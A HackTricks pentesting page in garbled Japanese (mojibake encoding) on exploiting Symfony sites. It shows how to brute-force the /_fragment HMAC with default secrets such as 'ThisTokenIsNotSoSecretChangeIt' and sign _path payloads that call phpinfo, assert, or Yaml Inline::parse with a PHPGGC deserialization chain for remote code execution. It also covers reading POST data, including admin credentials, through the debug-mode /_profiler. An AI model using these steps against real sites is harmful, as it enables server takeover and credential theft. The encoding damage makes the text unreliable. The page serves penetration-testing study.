ãã«ãŒããŒã ã®ã¡ã³ããŒãšããŠãSymfonyã«äŸåããŠãããŠã§ããµã€ãããã¹ãŠç¢ºèªããå¿ èŠããããŸããææ°ã®ãœãããŠã§ã¢ã§ãè匱æ§ãæé€ãããããšã¯ãããŸããããªããªããã·ãŒã¯ã¬ããããŒã¯è£œåã®æåã®ã€ã³ã¹ããŒã«æã«çæãããããã§ãããããã£ãŠãæ°å¹Žåã«Symfony 3.xããŒã¹ã®ãŠã§ããµã€ããäœæããéäžã§ã¢ããããŒããç¶ããå Žåãã·ãŒã¯ã¬ããããŒã¯ããã©ã«ãã®ãŸãŸã§ããå¯èœæ§ããããŸãã
æªçš
çè«
ãã®è匱æ§ãæªçšããéã«å¿é ããããšãããã€ããããŸãïŒ
- HMACã¯å®å šãªURLã䜿çšããŠèšç®ãããŸãããŠã§ããµã€ãããªããŒã¹ãããã·ã®èåŸã«ããå Žåããã€ããŒããéä¿¡ããURLã§ã¯ãªãããµãŒãã¹ã®å éšURLã䜿çšããå¿ èŠããããŸããããšãã°ãå éšURLã¯HTTPSã§ã¯ãªãHTTPã§ããå ŽåããããŸãã
- HMACã®ã¢ã«ãŽãªãºã ã¯å¹Žã å€ãã£ãŠããŸããã以åã¯SHA-1ã§ããããçŸåšã¯SHA-256ã§ãã
- Symfonyã¯ãªã¯ãšã¹ããã
_hash
ãã©ã¡ãŒã¿ãåé€ãããã®åŸURLãåçæãããããç§ãã¡ã¯åãURLã§ããã·ã¥ãèšç®ããå¿ èŠããããŸãã - å€ãã®ã·ãŒã¯ã¬ããã䜿çšãããããããã¹ãŠããã§ãã¯ããå¿ èŠããããŸãã
- äžéšã®PHPããŒãžã§ã³ã§ã¯ããåç
§æž¡ãããã©ã¡ãŒã¿ãæã€é¢æ°ïŒäŸïŒ
system($command, &$return_value)
ïŒãåŒã³åºãããšãã§ããŸããã - äžéšã®SymfonyããŒãžã§ã³ã§ã¯ã
_controller
ã¯é¢æ°ã§ã¯ãªãã¡ãœããã§ããå¿ èŠããããŸããã³ãŒããå®è¡ããããã®Symfonyã®ã¡ãœãããèŠã€ããå¿ èŠããããŸãã
äžæ¹ã次ã®ãããªããšãå©çšããããšãã§ããŸãïŒ
- ãã©ã¡ãŒã¿ãªãã§
/_fragment
ã«ã¢ã¯ã»ã¹ããããç¡å¹ãªããã·ã¥ã§ã¢ã¯ã»ã¹ãããš403
ãè¿ãããŸãã - æå¹ãªããã·ã¥ã§
/_fragment
ã«ã¢ã¯ã»ã¹ããããæå¹ãªã³ã³ãããŒã©ããªãå Žåã¯500
ãè¿ãããŸãã
æåŸã®ãã€ã³ãã«ãããåŸç¶ã§ã©ã®é¢æ°ãŸãã¯ã¡ãœãããåŒã³åºãããå¿é ããããšãªããã·ãŒã¯ã¬ããã®å€ããã¹ãããããšãã§ããŸãã
å®è·µ
æ»æ察象ãhttps://target.com/_fragment
ã§ãããšããŸããURLãæ£ãã眲åããããã«ã¯ã次ã®æ
å ±ãå¿
èŠã§ãïŒ
- å
éšURLïŒ
https://target.com/_fragment
ããŸãã¯http://target.com/_fragment
ããŸãã¯å¥ã®å®å šã«ç°ãªããã®ïŒäŸïŒhttp://target.website.internal
ïŒãªã©ãæšæž¬ã§ããªããã® - ã·ãŒã¯ã¬ããããŒïŒ
ThisTokenIsNotSoSecretChangeIt
ãThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
ãªã©ã®äžè¬çãªã·ãŒã¯ã¬ããããŒã®ãªã¹ã - ã¢ã«ãŽãªãºã ïŒSHA1ãŸãã¯SHA256
å®éã®ãã€ããŒãïŒ_path
ã®å
容ïŒã«ã€ããŠã¯å¿é
ããå¿
èŠã¯ãããŸããããªããªããæ£ãã眲åãããURLã¯AccessDeniedHttpException
ãã¹ããŒãããããããã£ãŠ403
ãè¿ãããªãããã§ãããã®è匱æ§ã§ã¯ãåïŒã¢ã«ãŽãªãºã ãURLãã·ãŒã¯ã¬ããïŒã®çµã¿åãããè©ŠããURLãçæãã403
ã®ã¹ããŒã¿ã¹ã³ãŒããè¿ãããªããã©ããã確èªããŸãã
ãã©ã¡ãŒã¿ãªãã§ã®/_fragment
ãžã®æå¹ãªãªã¯ãšã¹ã
ãã®æç¹ã§ãä»»æã®/_fragment
URLã«çœ²åããããšãã§ãããããRCEãä¿èšŒãããŸããåŒã³åºããã®ã¯åé¡ã§ã¯ãããŸããã
次ã«ãé¢æ°ãçŽæ¥åŒã³åºãããšãã§ããããã¯ã©ã¹ã¡ãœããã䜿çšããå¿
èŠããããã調ã¹ãå¿
èŠããããŸããæåã«ãæãçŽæ¥çãªæ¹æ³ã§ãphpinfo ([ int $what = INFO_ALL ] )
ïŒããã¥ã¡ã³ãïŒãªã©ã®é¢æ°ã䜿çšããŠè©Šãããšãã§ããŸãã_path
GETãã©ã¡ãŒã¿ã¯æ¬¡ã®ããã«ãªããŸãïŒ
_controller=phpinfo
&what=-1
ãããŠãURLã¯æ¬¡ã®ããã«ãªããŸãïŒ
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
ããHTTPã¬ã¹ãã³ã¹ãphpinfo()
ããŒãžã衚瀺ãããªããæåã§ãããã®åŸãassert
ãªã©ã®å¥ã®é¢æ°ãè©ŠããŠã¿ãããšãã§ããŸãïŒ
_controller=assert
ã䜿çšãããµã³ãã«åºå
ããã§ãªãå Žåãã¯ã©ã¹ã¡ãœããã䜿çšããå¿
èŠããããŸããããã«ã¯Symfony\Component\Yaml\Inline::parse
ãé©ããŠããŸããããã¯Symfonyã®çµã¿èŸŒã¿ã¯ã©ã¹ã§ãããSymfonyã®ãŠã§ããµã€ãã«ã¯å¿
ãååšããŸãã
æããã«ããã®ã¡ãœããã¯YAMLå
¥åæååã解æããŸããSymfonyã®YAMLããŒãµãŒã¯php/object
ã¿ã°ããµããŒãããŠãããããã«ããã·ãªã¢ã©ã€ãºãããå
¥åæååãunserialize()
ã䜿çšããŠãªããžã§ã¯ãã«å€æããããšãã§ããŸããããã«ããããæ°ã«å
¥ãã®PHPããŒã«ã§ããPHPGGCã䜿çšããããšãã§ããŸãïŒ
ãã®ã¡ãœããã®ãããã¿ã€ãã¯å¹Žã å€ãã£ãŠããŠããŸããäŸãã°ã以äžã«3ã€ã®ç°ãªããããã¿ã€ãã瀺ããŸãïŒ
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
ãããã®ããããã«_path
ãæ§ç¯ãã代ããã«ãã¡ãœããã®ãããã¿ã€ããšäžèŽããªãååã®åŒæ°ãæž¡ããšãç¡èŠããããšããäºå®ãå©çšããããšãã§ããŸãããããã£ãŠãå®éã®ãããã¿ã€ããæ°ã«ããããšãªãããã¹ãŠã®å¯èœãªåŒæ°ãã¡ãœããã«è¿œå ããããšãã§ããŸãã
ãããã£ãŠã次ã®ããã«_path
ãæ§ç¯ããããšãã§ããŸãïŒ
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
å床ãphpinfo()
ãè©ŠããŠã¿ãŠãããŸããããã©ãã確èªããŸããããããæåããå Žåã¯ã代ããã«system()
ã䜿çšã§ããŸãã
ã·ãªã¢ã©ã€ãºããããã€ããŒãã䜿çšããInline::parse
ã®ãµã³ãã«åºå
ãããã£ãŠããã®ãšã¯ã¹ããã€ãã¯ãã¹ãŠã®å¯èœãªå€æ°ã®çµã¿åãããå®è¡ãããã®åŸã2ã€ã®ãšã¯ã¹ããã€ãæ¹æ³ãè©ŠããŸããã³ãŒãã¯GitHubã§å©çšã§ããŸãã
symfony /_profileræ å ±ãžã®ã¢ã¯ã»ã¹
äžèšã®ã¹ã¯ãªãŒã³ã·ã§ãããèŠããšãããŒãžã®å³äžã«sf
ã®ããŽã衚瀺ãããŠããŸãããã®ããŽã¯ãSymfonyããããã°ã¢ãŒãã§ããå Žåã«è¡šç€ºãããŸãããã®ããŽã衚瀺ãããªãå Žåãããããã/_profiler
ã«ã¢ã¯ã»ã¹ããŠä»¥äžã®ãããªããŒãžã衚瀺ãããã確èªããŠãã ããã
ãã®æ©èœã¯Symfony ProfilerãšåŒã°ããã€ã³ã¿ãŒãããäžã§ãã®æ©èœã«ã€ããŠã¯ããŸãæ å ±ããããŸããããã®æ©èœã®æå³ã¯æ確ã§ãããšã©ãŒããã°ãçºçããå Žåã«ãããã°ãæ¯æŽããŸãããã¡ããããã®æ©èœã¯ãããã°ã¢ãŒããæå¹ãªå Žåã«ã®ã¿äœ¿çšã§ããŸãã
Symfonyãã¬ãŒã ã¯ãŒã¯èªäœã¯éåžžã«å®å šã§ããããããã°ã¢ãŒããæå¹ã«ãããšããã®ãã¬ãŒã ã¯ãŒã¯ã¯éåžžã«è匱ã«ãªããŸããããšãã°ãProfilerã«ã¯Profile Searchãšããæ©èœããããŸãã以äžã®ã¹ã¯ãªãŒã³ã·ã§ããã«ç€ºãããã«ã
äžèšã®ã¹ã¯ãªãŒã³ã·ã§ããã§ãããããã«ããµãŒããŒã«éä¿¡ããããã¹ãŠã®ãªã¯ãšã¹ãã«ã¢ã¯ã»ã¹ã§ããŸããããŒã¯ã³å ã®ããã·ã¥ãã¯ãªãã¯ãããšã以äžã®ã¹ã¯ãªãŒã³ã·ã§ããã«ç€ºãããã«ããã¹ãŠã®POSTãã©ã¡ãŒã¿ãèªã¿åãããšãã§ããŸãããã®æ©èœã䜿çšããããšã§ã管çè ããŠãŒã¶ãŒã®ã¢ã«ãŠã³ãã®è³æ Œæ å ±ãä¹ã£åãããšãã§ããŸãã
ä»ã®ãããã°ãæå¹ãªãšã³ããã€ã³ã
以äžã®URLããã§ãã¯ããå¿ èŠããããŸãïŒ
åèæç®
- https://www.ambionics.io/blog/symfony-secret-fragment
- https://flattsecurity.hatenablog.com/entry/2020/11/02/124807
- https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒãããããããã§ããïŒ SUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãçºèŠããŸããããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŸãããã
-
ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksã®ãªããžããªãšhacktricks-cloudã®ãªããžããªã«PRãæåºããŠãã ããã